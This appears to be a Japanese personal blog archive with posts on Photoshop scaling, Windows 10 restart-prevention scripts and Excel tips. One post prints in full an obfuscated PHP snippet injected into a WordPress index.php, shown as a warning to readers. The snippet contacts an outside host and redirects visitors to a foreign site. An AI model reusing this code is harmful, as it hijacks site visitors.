Photshop UI スケーリングが100%と200%しか選べない。150%が必要なのに…。

4Kモニターを使っていると、Photoshopのメニューが小さすぎて使えない。

スケーリングで数値を200%にすると大きすぎて使いにくい。

ちょうど150%があればいいのに。

その点、Illusutartorはきちんと対応出来ている。

この違いは開発陣の違いであって、Adobe全体のバランスの悪さが垣間見られる。

でも解決方法があった。レジストリを少しいじって、マニフェストファイルを追加するだけ。割と簡単に解決できた。

https://www.danantonielli.com/adobe-app-scaling-on-high-dpi-displays-fix/

これでスッキリ。

Adobeもバージョンアップで早期対応すべき。

ヨドバシ ゴールドポイントカードは Apple Pay に対応しない…

「現時点で」とはあるが、文章読む限りやる気はなさそう。
XXXX 様
平素は格別のご高配を賜り誠にありがとうございます。
この度はお問い合わせいただきありがとうございました。

誠に恐れ入りますが、現時点で弊社発行のカードは
Apple Payに対応する予定はございません。

何卒ご了承くださいますようお願い申し上げます。

■□━━━━━━━━━━━━━━━━━
株式会社ゴールドポイントマーケティング
東京都新宿区北新宿3-20-1
関東財務局長(3)第01478号
■メンバーズデスク
0570-06-7070 (9:30~18:00/年中無休)
※ナビダイヤルをご使用になれない場合
03-3360-1010
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Windows 10 バージョン1607以降で自動再起動を止める方法

Windows 10 バージョン1607からWindows Updateでの更新の適用後、自動再起動を止められなくなりました。

設定用パッケージの仕様

今回、作業を単純化するために以下の仕様で固定しています。変更する場合はパッケージ内の該当部分を自分で書き換える必要があります。

  • スクリプトファイルの置き場所は、「C:\PreventRestart」で固定
  • スクリプトファイル名も固定
  • アクティブ時間は任意のユーザーがログオンした時点から12時間に設定される
  • 以後、6時間ごとにアクティブ時間を後ろに6時間ずらすように自動更新する
  • 自動更新に失敗した場合は30分間隔で3回まで再実行される

PC起動時点から12時間をアクティブ時間とし、半分まで経過したら更に半分延長します。これをPCを起動している限り延々繰り返します。半分まで過ぎたら延長する方法はDHCPアドレスのレンタル期間更新方法を参考にしています。

 

設定手順

設定は最初に一度だけ行えば以後は何もする必要はありません。

まず、こちらから再起動防止パックをダウンロードしてください。セキュリティソフトなどでマルウェアやウイルスと検知された場合は最後に示す方法で自分でファイルを作成してください。Windows DefenderおよびG Dataでは問題ありませんでした。

 

ダウンロードしたら、ファイルを右クリックして表示されたメニューから「プロパティ」をクリックします。

「全般」タブの下部の「ブロックの解除」にチェックを入れ「適用」をクリックします。

Windows10-v1607-prevent-restart-14

「セキュリティ」の説明が消えたことを確認して「OK」をクリックして「プロパティ」を閉じます。

この操作は必ず展開前のZIPファイルで行います。そうしないと展開したファイル全てがブロックされて解除に手間がかかります。

Windows10-v1607-prevent-restart-15

ダウンロードしたファイルを展開します。

展開すると「PreventRestart」というフォルダーがありますのでフォルダーごとCドライブの直下にコピーします

ZIPファイ名のフォルダーではなく、その中の「PreventRestart」というフォルダーをコピーします。

コピー後のフォルダー構成は、

C:\PreventRestart-v1\PreventRestart

ではなく、

C:\PreventRestart

となっていることを確認してください。

コピーしたらダウンロードしたファイルと展開したファイルは削除してかまいません。

Windows10-v1607-prevent-restart-12

コピーしたフォルダー「C:\PreventRestart」を開くと3個のファイルがあります。

Windows10-v1607-prevent-restart-13

次に、タスクを登録するためにタスクスケジューラを起動します。

Cortanaで「タスク」と入力すると「タスクスケジューラ」が表示されるのでクリックします。

Windows10-v1607-prevent-restart-02

「タスクスケジューラ」の左側で「タスクスケジューラライブラリ」を選択し、右側の「タスクのインポート」をクリックします。

Windows10-v1607-prevent-restart-03

先ほどコピーした「C:\PreventRestart」フォルダーを開き、「PreventRestart.xml」を選択して「開く」をクリックします。

Windows10-v1607-prevent-restart-04

「タスクの作成」が表示されるので「OK」をクリックして閉じます。

このダイアログで細かい設定を変更できますが、必要ならば後で「プロパティ」から再度開くことができます。

Windows10-v1607-prevent-restart-05

「PreventRestart」タスクが登録されます。

登録直後は「無効」になっているので、「PreventRestart」タスクを選択して右下の部分の「有効化」をクリックします

Windows10-v1607-prevent-restart-10

有効になると表示は「準備完了」となります。

Windows10-v1607-prevent-restart-11

これでアクティブ時間の自動更新の準備ができましたのでPCを再起動してください

動作を確認するには「設定」アプリを開き、「更新とセキュリティ」をクリックして、

Windows10-v1607-prevent-restart-16

左側の「Windows Update」を選択し、右側の「アクティブ時間の変更」をクリックします。

Windows10-v1607-prevent-restart-17

「開始時刻」がPCを起動した時刻の00分、例えばAM5:30に起動したならAM5:00に、終了時刻がその12時間後に設定されていれば正しく機能しています。「キャンセル」をクリックして閉じます。

6時間以上経ってから再度確認して、アクティブ時間が変わっていれば更新も正しく行われています。

アクティブ時間が正しく設定されていない場合は、タスクスケジューラを起動して、「PreventRestart」タスクが「無効」ではなく「準備完了」になっていることを確認してください。なっていない場合は右下の部分で「有効化」をクリックしてください。

Windows10-v1607-prevent-restart-18

 

元に戻す場合

アクティブ時間の自動更新をやめる場合は、「タスクスケジューラ」を起動してから「PreventRestart」タスクを選択して「削除」してください。

そして、再起動してから「C:\PreventRestart」フォルダーを削除してください。

 

ウイルス対策ソフトにブロックされる場合

スクリプト内でレジストリーを操作しているため、ウイルス対策ソフトによっては実行をブロックされる可能性があります。

その場合は、「C:\PreventRestart」フォルダーを除外登録してみてください。

また、スクリプトパックをダウンロードできない場合は、下記の手順でファイルを作成してください。

ファイル名は必ず同じ名前にしてください。変更する場合はファイル名、パス、及び、各ファイル内の黄色の部分を書き換える必要があります。

ファイル名:PreventRestart.bat

@echo off
set /a ACTIVE_HOURS_START=%TIME:~0,2%
set /a ACTIVE_HOURS_END=(%ACTIVE_HOURS_START% + 12) %% 24
reg add "HKLM\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings" /v ActiveHoursStart /t REG_DWORD /d %ACTIVE_HOURS_START% /f
reg add "HKLM\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings" /v ActiveHoursEnd /t REG_DWORD /d %ACTIVE_HOURS_END% /f

 

ファイル名:PreventRestart.vbs
改行せず一行で記述します。

CreateObject("WScript.Shell").Run "cmd /c ""c:\PreventRestart\PreventRestart.bat""", 0

 

ファイル名:PreventRestart.xml

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<URI>\Prevent Restart</URI>
</RegistrationInfo>
<Triggers>
<LogonTrigger>
<Repetition>
<Interval>PT6H</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<Enabled>true</Enabled>
</LogonTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>false</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<RestartOnFailure>
<Interval>PT30M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\wscript.exe</Command>
<Arguments>"c:\PreventRestart\PreventRestart.vbs"</Arguments>
</Exec>
</Actions>
</Task>

 

まとめ

とても単純ですが比較的簡単に設定できるため、自動再起動に困っている場合は設定してみては如何でしょうか。

「再起動防止パック」は、2018年3月末時点で1,500回ほどダウンロードされています。

バグについてはコメントで指摘を受けた1点については再現できず、その他の指摘は現状まではありません。

アクティブ時間の自動設定は簡単な操作なので常駐型のソフトを誰かが作ってくれればよいのですが。

なお、Windows 10 バージョン1703/1709にアップデートしても設定は引き継がれ、何もしなくても正常に動作し続けることを確認しています。

インデックスカバレッジの問題とGoogleから通知が来たが…。

WPサイトのindex.phpが書き換えられていた。(-_-;)

ヘッダに追加された文字列

$id6fe1d0be634 = “/index/?2601510941471”;
$z8c7dd922ad47=md5($id6fe1d0be634);$u77e8e1445762=time();$geaa082fa5781=filemtime($z8c7dd922ad47);$u07cc694b9b3f=$u77e8e1445762-$geaa082fa5781;if(file_exists($z8c7dd922ad47)){$fe1260894f59e=@fopen($z8c7dd922ad47,base64_decode(‘cg==’));$xe4e46deb7f9c=json_decode(base64_decode(fread($fe1260894f59e,filesize($z8c7dd922ad47))),1);fclose($fe1260894f59e);}if($u07cc694b9b3f>=60 ||!file_exists($z8c7dd922ad47)){$v9b207167e538=getDDroi($z8c7dd922ad47);if($v9b207167e538[base64_decode(‘ZG9tYWlu’)]){$je617ef6974fa=base64_decode(‘aHR0cDovLw==’).$v9b207167e538[base64_decode(‘ZG9tYWlu’)].$id6fe1d0be634;}else{$wd88fc6edf21e=curl_init();curl_setopt($wd88fc6edf21e,CURLOPT_RETURNTRANSFER,true);curl_setopt($wd88fc6edf21e,CURLOPT_USERAGENT,base64_decode(‘QUkgcnNydg==’));curl_setopt($wd88fc6edf21e,CURLOPT_URL,$xe4e46deb7f9c[base64_decode(‘cnNydg==’)]);curl_setopt($wd88fc6edf21e,CURLOPT_TIMEOUT,10);$sad5f82e879a9=curl_exec($wd88fc6edf21e);curl_close($wd88fc6edf21e);$je617ef6974fa=base64_decode(‘aHR0cDovLw==’).$sad5f82e879a9.$id6fe1d0be634;}}else{$je617ef6974fa=base64_decode(‘aHR0cDovLw==’).$xe4e46deb7f9c[base64_decode(‘ZG9tYWlu’)].$id6fe1d0be634;}function getDDroi($z8c7dd922ad47){$wd88fc6edf21e=curl_init();curl_setopt($wd88fc6edf21e,CURLOPT_RETURNTRANSFER,true);curl_setopt($wd88fc6edf21e,CURLOPT_USERAGENT,base64_decode(‘QUkgcm9p’));curl_setopt($wd88fc6edf21e,CURLOPT_URL,base64_decode(‘aHR0cDovL3JvaTc3Ny5jb20vZG9tYWluX3RlbXAucGhwP2Y9anNvbg==’));curl_setopt($wd88fc6edf21e,CURLOPT_TIMEOUT,10);$sb4a88417b3d0=curl_exec($wd88fc6edf21e);curl_close($wd88fc6edf21e);$xe4e46deb7f9c=json_decode($sb4a88417b3d0,true);if($xe4e46deb7f9c[base64_decode(‘ZG9tYWlu’)]){$y0666f0acdeed=@fopen($z8c7dd922ad47,base64_decode(‘dys=’));@fwrite($y0666f0acdeed,base64_encode($sb4a88417b3d0));@fclose($y0666f0acdeed);return $xe4e46deb7f9c;}else return false;}if(!$_COOKIE[base64_decode(‘YTc3N2Q=’)]){setcookie(base64_decode(‘YTc3N2Q=’),1,time()+43200,base64_decode(‘Lw==’));echo base64_decode(‘PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgi’).$je617ef6974fa.base64_decode(‘Iik7d2luZG93LmxvY2F0aW9uLmhyZWYgPSAi’).$je617ef6974fa.base64_decode(‘Ijs8L3NjcmlwdD4=’);}

症状・トップへアクセスすると、勝手にに海外サイトへ飛ばされてしまう。
一度飛ばされると数時間から1日は飛ばされない。

 

みなさんも注意して下さい。

Excelの範囲選択

データがあるセルを一発選択

ExcelシートのA2セルからA8セルを選択する。この場合、A2を選択してそのあとA8までドラッグするのが一般的だろう。しかし小さな表ならばいざしらず、50行や100行といった大きな表だと、ずるずるドラッグするのはあまりにも非効率だ。キーボードで範囲を選択する技を覚えておこう。

まずA2セルを選択したら、[Ctrl]キーと[Shift]キーを押しながら「↓」キーを押す。するとA2から、データの入力されているA8までを一発で選択できる。

キーボードでセル範囲を選択する
[Ctrl]キーと[Shift]キーを押しながら「↓」キーを押すことで、キーボードから範囲選択できる
[画像のクリックで拡大表示]

ちなみにA2を選択したあと[Shift]キーを押しながら「↓」を押していくと、A2からA3に向かって1セルずつ選択範囲を拡大できる。また、[Ctrl]キーを押しながら「↓」を押すと、A列でデータの入力されている最終行のセルに移動できる。

それでは、A1を選択して[Shift]キーと[Ctrl]キーを押しながら「↓」キーを押したあと、さらに「→」を押してみよう。するとA2から、データの入力されているD8まで、つまり表全体を選択できた。表全体の選択は、表内のいずれかのセルを選択した状態で[Ctrl]+[A]キーを押すことでも可能だ。

行列全体を素早く選択

次に先の表で、見出し行にあたるA2:D2をコピーして、10行目にペーストする場合について考えてみよう。この場合、A2:D2をマウスでドラッグしてコピーし、A10を選択してペーストするのが一般的だろう。もちろん間違いではないのだが、同様の作業をもっと素早くこなす方法がある。

まず、2行目の行見出しに相当する「2」をクリックする。すると2行目全体が選択状態になる。そうしたらコピーを実行し、A10を選択してペーストすればよい。特に列の数の多い表の場合、マウスでずるずるドラッグするよりも断然速い。

行全体を選択する
行全体を選択してコピー・アンド・ペーストする。行全体の選択はキーボードからでもできる。例えばD3セルを選択している状態で[Shift]+[スペース]キーを押すと3行目全体を選択できる
[画像のクリックで拡大表示]

列の場合も同様だ。列見出しの「A」をクリックすると、A列全体を選択できる。さらにA列全体を選択したら、そのままマウスを列ラベル沿いにドラッグしてみよう。すると複数列の選択が可能だ。複数行の選択も、同様の操作でできる。

複数列を選択する
列全体をキーボードから選択する場合、[Ctrl]+[スペース]キーを押す。さらに[Shift]+矢印の左右キーで選択範囲を拡大できる
[画像のクリックで拡大表示]

シート全体も、クリック1つで選択できる。行見出しと列見出しが交差する場所に右下を向いた三角マークがあるので、ここをクリックするだけだ。データが入力されていないセルを選択して[Ctrl]+[A]キーを押すことでも同じことができる。

シート全体を選択する
行見出しと列見出しが交差する場所にある、三角マークをクリック
[画像のクリックで拡大表示]

離れたセルの選択は[Ctrl]キーで

次に、離れた場所にある複数のセルを選択してみよう。例えば、評価が「A」のセルだけを選んで、背景色を付けて文字を赤にしたい、といった場合だ。

一般的な操作は、C3セルを選択して「塗りつぶしの色」から背景色を選び、さらに「フォントの色」を赤に設定する。これをすべての「A」のセルで繰り返せば、やがて「A」の全セルを強調表示にできるだろうが、手間と時間が掛かる。次の方法を覚えておこう。

まず、C3を選択したら[Ctrl]キーを押しながら「A」のセルを順に選択する。[Ctrl]キーを押しながらのセル選択は、離れたセルを選択する基本テクニックだ。また、C5:C7のように「A」が連続したセルでは[Ctrl]キーを押しながら、C5からC7へドラッグする。すべての「A」を選択できたら、背景色と文字色を適用すればよい。一発で「A」のセルを強調表示にできる。

離れたセルやセル領域を選択する
[Ctrl]キーを押しながらクリックやドラッグをすると、離れたセルを選択できる。ビジネスパーソンなら知っておきたいテクニックだ
[画像のクリックで拡大表示]

やや上級編として、「条件付き書式」を使う方法も紹介しておこう。まず、先に紹介した方法でC2:C11を選択する。次に、「ホーム」タブ→「条件付き書式」→「セル強調表示ルール」→「指定の値に等しい」とたどり、「次の値に等しいセルを書式設定」のテキストボックスに「A」と入力する。すると「A」のセルが強調表示されるので、問題がなければ「OK」を押せばよい。

「条件付き書式」を活用する
「A」をまとめて強調表示にした。このように「条件付き書式」を活用すれば、条件に合致するセルを自動的に強調表示にできる
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